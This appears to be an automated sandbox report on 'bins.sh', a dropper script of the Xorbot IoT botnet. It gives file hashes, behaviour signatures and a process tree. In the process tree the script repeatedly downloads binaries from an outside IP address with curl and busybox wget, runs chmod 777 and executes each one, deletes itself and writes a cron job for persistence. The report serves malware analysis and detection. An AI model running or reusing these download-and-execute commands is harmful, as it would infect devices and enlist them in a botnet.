Resubmissions

03/04/2025, 22:32

250403-2fxrbayjy3 10

03/04/2025, 22:30

250403-2fa8bayjx3 10

Analysis

  • max time kernel
    300s
  • max time network
    305s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20240221-en
  • resource tags

    arch:armhfimage:debian12-armhf-20240221-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    03/04/2025, 22:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2d3354e4454c0aa1442c15ae4db570d7

  • SHA1

    fa41bc59a61d70fed29d83a9fadcaf5f29a0306c

  • SHA256

    a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf

  • SHA512

    95586720bce8db9d47b64c0e4555ba8d6dbc2899295a18ef6cd7f80558ee39e4088f3b66a22e49846ab83dc5d6a5a07604f5b0ed412b9b40a3ff9867498d8e09

  • SSDEEP

    192:vT3jmvfO3m3C3x3+3e35BNkJpg35J5B5uFpYb+2va224Gm6eQmp9lLWLqLzm+B+k:vT3jmvfO3m3C3x3+3e35BNkJpg3bvJb7

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:709
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:715
      • /usr/bin/curl
        curl -O http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:722
      • /bin/busybox
        /bin/busybox wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:742
      • /usr/bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:749
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:750
        • /usr/bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:753
          • /usr/bin/curl
            curl -O http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:758
          • /bin/busybox
            /bin/busybox wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:766
          • /usr/bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:768
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:769
            • /usr/bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:771
              • /usr/bin/curl
                curl -O http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:773
              • /bin/busybox
                /bin/busybox wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:777
              • /usr/bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:778
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:779
                • /usr/bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:781
                  • /usr/bin/curl
                    curl -O http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:783
                  • /bin/busybox
                    /bin/busybox wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:786
                  • /usr/bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:787
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:788
                    • /usr/bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:790
                      • /usr/bin/curl
                        curl -O http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • Checks CPU configuration
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:792
                      • /bin/busybox
                        /bin/busybox wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:793
                      • /usr/bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:794
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        PID:795
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:797
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:798
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:799
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:800
                            • /usr/bin/rm
                              rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                              2⤵
                              • System Network Configuration Discovery
                              PID:802
                            • /usr/bin/curl
                              curl -O http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                              • Checks CPU configuration
                              PID:806
                            • /bin/busybox
                              /bin/busybox wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                              • Writes file to tmp directory
                              PID:807
                            • /usr/bin/chmod
                              chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                              • File and Directory Permissions Modification
                              PID:808
                            • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                                PID:809

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /var/spool/cron/crontabs/tmp.91mOh5

                              Filesize

                              210B

                              MD5

                              c77a517ec1d9d1ecce5e6486463ee3d2

                              SHA1

                              b550344a73183aaa16edf9b03fa24f679efb5b8c

                              SHA256

                              45d3e8c4edd98643fc2a30c9045168071baf16a5284091a58a3f75bc4a886fea

                              SHA512

                              bf7fdac881b9b4d29b2358cafdb7def44c0b7b364d1cfa8cf167e76147e8f0748a8168db0bda278bf2c09b70973be27b06ab61465b75260a09eded830fa64886